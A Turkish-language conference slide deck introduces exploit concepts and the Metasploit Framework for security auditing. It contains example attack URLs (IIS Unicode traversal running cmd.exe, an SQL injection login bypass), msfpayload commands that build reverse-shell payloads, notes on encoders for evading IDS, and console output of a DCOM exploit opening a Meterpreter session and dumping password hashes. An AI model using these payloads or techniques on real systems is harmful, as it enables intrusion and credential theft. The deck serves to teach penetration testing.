

# Metasploit Framework ile Güvenlik Denetimi

Fatih Özavcı

Bilgi Güveniği Danışmanı

[fatih.ozavci at gamasec.net](mailto:fatih.ozavci@gamasec.net)

[gamasec.net/fozavci](http://gamasec.net/fozavci)



- Exploit Kavramı
- Exploit Geliştirme Süreci
- Bütünleşik Geliştirme Ortamları
- Metasploit Framework
- Canlı Uygulama ve Pratikler





Bir güvenlik açığının kullanarak normal-dışı bir işlem yapılmasını sağlayan yöntem veya yazılım

- `http://sunucu/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir`
- `http://sunucu/login.asp?uid=' OR 1='1`



- Payload / Shellcode
  - Exploit sonrası çalıştırılacak ve normal-dışı işlemi yapacak içerik
- NOP / NOPSlide
  - “Not Operation”, işlevsiz veya bellek yeri öğrenme amaçlı bellek dolduran bitler
- Encoder
  - Çalıştırılacak Shellcode’u değiştiren ve IDS’ler tarafından yakalanmasını önleyen yazılımlar







# Exploit Yaşam Çevrimi





# Genel Exploit'lerin Özellikleri



- Çok farklı programlama dillerinde sunulabilirler (binary, c, c++, perl, lisp, python)
- Açığın tek veya özel bir kullanımı üzerine geliştirilmiş olabilirler (..`%c0%af`.. veya ..`%c0%qf`..)
- Payload/Shellcode değeri özelleştirilemeyebilir (binary, açık hakkında kısıtlı bilgi)
- Kod kirli veya kötü niyetli yazılmış olabilir
- Herkesçe kullanıldığı için önlem alınmış olabilir



# Kim Özel Exploit'e İhtiyaç Duyar



- Tetkikçiler
- Danışmanlar
- Yazılım veya Donanım Testi Yapanlar
- Sistem Yöneticileri
- Güvenlik Açığı Geliştiricileri



# Exploit Geliştirme Süreci





# Hangi Araçlar Kullanılır

- Açık Bulunan Yazılımın Örneği !?
- Fuzzer (Karıştırıcı ve Değiştiriciler)
- Encoder (Kodlayıcılar)
- HEX Editörler
- Binary Analiz Araçları
- Debugger (Hata Ayıklayıcılar)
- Sniffer (Paket Yakalayıcılar)
- Protokol Çözümleyiciler
- Yorumlayıcılar / Derleyiciler (Interpreter/Compiler)
- Shellcode'lar
- SQL Sorguları



- Exploit ve Payload ayrımı
- Hazır ve kodu açık Exploit'ler
- Binary analizi için yardımcı araçlar
- Hazır Payload veya Agent'lar
- Grafik arabirim ile “tıkla ve gir” kolaylığı
- Hazır fonksiyonlar ile daha az Exploit kodu
- Kategorizasyon ve analiz arabirimleri
- Hazır Recon'lar ile bilgi toplama
- Yerel, yetki yükseltimi amaçlı Exploit'ler
- 0 gün Exploit'leri



# Neden Exploit Geliştirme Ortamı ?



- Güvenlik açığı tarama yazılımlarının imza kalitesindeki yetersizlikler
- Güvenlik açığının kullanılabilir olduğunun tespiti
- Risk boyutunun tam olarak bilinmesi ihtiyacı
- Güvenlik önlemlerinin (firewall/ids etc.) aşılması ihtiyacı
- Güvenlik açıklarının kullanımına farklı bakış açıları getirme ihtiyacı
- Hazır kodlar ve fonksiyonlar ile Exploit geliştirme, kullanma ve kullanım sonrası işlemleri kolayca uygulayabilme



- Core Technologies - Core Impact
- Immunity Security - Immunity Canvas
- Metasploit Project - Metasploit Framework
- Security Forest - Exploitation Framework



- Bileşenler
  - ~1000 Exploit ~250 Payload ~500 Yardımcı Araç ~30 Encoder
  - ~150 Exploit Sonrası Modül/Script
- Çok farklı türde Payload'lar kullanılabiliyor ve bağımsız olarak üretilebiliyor (Binary, Perl, Python, Shell, PHP)
- Meterpreter ile Hedef Tamamen Ele Geçirilebiliyor
- VNC ile Hedef Sisteme Grafik Arayüzle Bağlanılabiliyor
- Çok sayıda farklı encoder kullanılabiliyor (Shikata Ga Nai vb.)
- Konsol, Seri ve Grafik (Armitage) arayüzlerine sahip
- En güçlü özelliği Post-Exploitation yetenekleri (Meterpreter, VNC DLL Injection, Anti-Forensic, Process Migration vb.)



# Ekran Görüntüleri

```
msf exploit(windows/dcerpc/ms03_026_dcom) > exploit
[*] Started reverse handler
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.00ncacn_ip_tcp:127.0.0.1[12347] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.00ncacn_ip_tcp:127.0.0.1[12347] ...
[*] sending exploit ...
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (73739 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (10.254.0.4:4444 -> 10.172.69.14:3113)

Loading extension stdapi...success.
meterpreter > use priv
Loading extension priv...success.
meterpreter > hashdump
Administrator:500:                                     :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:787fe2ff8bfd6acd36f1f167826628fd:a42a0141890f2998312ffc41cd8f4d4e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:d3130169356f4ce4def8a52fb59c1e98:::
meterpreter > █

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds t
>> client.priv.sam_hashes[3].ntlm
=> "d3130169356f4ce4def8a52fb59c1
>> client.priv.sam_hashes[3].user
=> "SUPPORT_388945a0\005"
>> client.ui.idle_time
=> 450
>> client.fs.dir.entries
=> ["AUTOEXEC.BAT", "baserand", "
  "personal", "Program Files", "RE
>> client.sys.process.processes[0]
=> {"name"=>"smss.exe", "pid"=>47
>> █

[*] Sending 124 byte payload...
[*] Sending stage (2838 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (73739 bytes)...
[*] Upload completed.
[*] Trying to use connection...
[*] Meterpreter session 1 opened (10.254.0.4:59360 -> 10.254.0.4:12345)
[*] Started logging session interaction.
[*] Session 1 created in the background.
msf exploit(test/multi/aggressive) > session -1

Active sessions
=====
  Id  Description  Tunnel
  --  -
  1   Meterpreter  10.254.0.4:59360 -> 10.254.0.4:12345

msf exploit(test/multi/aggressive) > session -i 1
[*] Starting interaction with 1...

meterpreter > use stdapi
Loading extension stdapi...success.
meterpreter > █
```



The screenshot displays the Armitage application window. The top menu bar includes 'Armitage', 'View', 'Hosts', 'Attacks', 'Workspaces', and 'Help'. On the left, a sidebar shows a tree view of modules: 'auxiliary' (with sub-items 'admin' and 'scanner'), 'exploit' (with sub-items 'multi' and 'http'), and 'tomcat\_mgr\_deploy' selected. The main workspace shows a network diagram with three hosts: a Windows host (192.168.1.104), a Linux host (192.168.1.106), and a printer (192.168.1.108). A context menu is open over the Linux host, showing options like 'Attack', 'Login', 'Meterpreter 6', 'Services', 'Host', 'Access', 'Interact', 'Explore', 'Pivoting', 'MSF Scans', and 'Kill'. The bottom section features a console with tabs for 'Console 4', 'Services', 'Files 6', 'Processes 1', 'Console 12', and 'cmd.exe 1636@6'. The 'Files 6' tab is active, showing a file explorer view of the C:\ drive with columns for Name, Size, Modified, and Mode. The file explorer lists various system files and folders, including 'Documents and Settings', 'Inetpub', 'Program Files', 'Python25', 'System Volume Information', 'WINNT', 'lcc', 'learn', 'srtFtpLogs', 'AUTOEXEC.BAT', 'CONFIG.SYS', 'IO.SYS', and 'MSDOS.SYS'. At the bottom of the window, there are buttons for 'Upload...', 'Make Directory', and 'Refresh', along with a status bar indicating 'To direct input to this virtual machine, click inside the window.'



- Arabirim
  - Konsol Arayüzü (msfconsole)
  - Web Arayüzü (msfweb)
  - Komut Satırı Arayüzü (msfcli)
- Yardımcı Araçlar
  - Dönüş Adresi Tarayıcı (msfpescan, msfelfscan)
  - Payload Üretici (msfpayload)
  - Payload Encoder (msfencode)
  - Oturum Logları (msflogdump)
- Ana Modüller
  - Exploit'ler
  - Payload'lar
  - Encoder'lar
  - NOP Üreticiler



- Çok sayıda, kaynak kodu açık, eski ve yeni exploit
- İstemci ve sunucu exploitleri birarada
- Farklı işletim sistemleri için yazılmış exploit'ler
  - Windows, MacOSX, Linux, Irix, AIX, Solaris etc.
- Farklı platformlar için yazılmış exploit'ler
  - PPC, IA32, SPARC, MIPS, etc.
- Hazır fonksiyonlar ile yazılacak kod miktarı oldukça az
- SSL desteği
  - Hazır ağ protokolleri (SMB/DCERPC etc.)
  - Encoding desteği
  - Kolay payload ve hedef entegrasyonu
- Kod yerine güvenlik açığına odaklanmak hedeflenmiş



- Birçok platform için hazır Shellcode
  - Windows, Linux, AIX, Solaris, HP/UX, OS X, BSD, BSDI etc.
  - Hazır Shellcode (Shell Bind, Reverse, FindTag)
  - Perl Kodu
- Üst düzey payload'lar
  - PassiveX
  - InlineEgg (Core Tech.)
  - Meterpreter
  - VNC Injection
  - Belleğe program yükleme ve çalıştırma
- Kademeli/Modüler payload yükleme
- Hedef üstünden yeni saldırı kapasitesi
- Tek başına payload kullanımı
  - msfpayload PAYLOAD\_ADI LHOST=x.x.x.x LPORT=3333 X > test.exe
  - msfcli payload\_handler PAYLOAD=PAYLOAD\_ADI LHOST=x.x.x.x LPORT=3333 E



- Hazır encoder'lar ile payload kolayca değiştirilebilmekte
  - HIDS/NIDS/IPS Atlatma
- Farklı platformlar için encoder'lar
  - PPC, x86, Sparc etc.
- Farklı türlerde 13 encoder
- MsfVenom vs MsfEncode



- Meta-Interpreter
- Modül destekli exploit sonrası aracı
  - Dosya sistemi, Süreç yönetimi, Ağ vb.
  - DLL olarak yeni modüller eklenebilir
  - Kodu açık ve kolayca geliştirilebilir
  - Dinamik modül yükleme
- Dahili Kriptolama
- Kanal ve VNC Injection desteği
- Sürekli Eklenen Modüller ve Scripting Desteği
  - Süreç birleştirme
  - IRB desteği
  - Timestomp, SAM HashDump
- Yeni bir alt süreç olarak doğrudan bellekte çalışıyor



- RealVNC kodunda değişiklikler yapılmış, gereksiz bölümler çıkartılmış
- Dış dosya, kütüphane, servis kurulumu veya registry anahtarı gerekmiyor
- Yeni bir alt süreç olarak doğrudan bellekte çalışıyor
- Kilitli ekranlarda yeni kabuk (command prompt) açılıyor



- Türkçe Metasploit Framework Rehberi  
[www.gamasec.net/fozavci](http://www.gamasec.net/fozavci)
- Metasploit Project  
[www.metasploit.com](http://www.metasploit.com)
- Metasploit Unleashed  
[www.offensive-security.com/metasploit-unleashed/Main\\_Page](http://www.offensive-security.com/metasploit-unleashed/Main_Page)





*Teşekkürler....*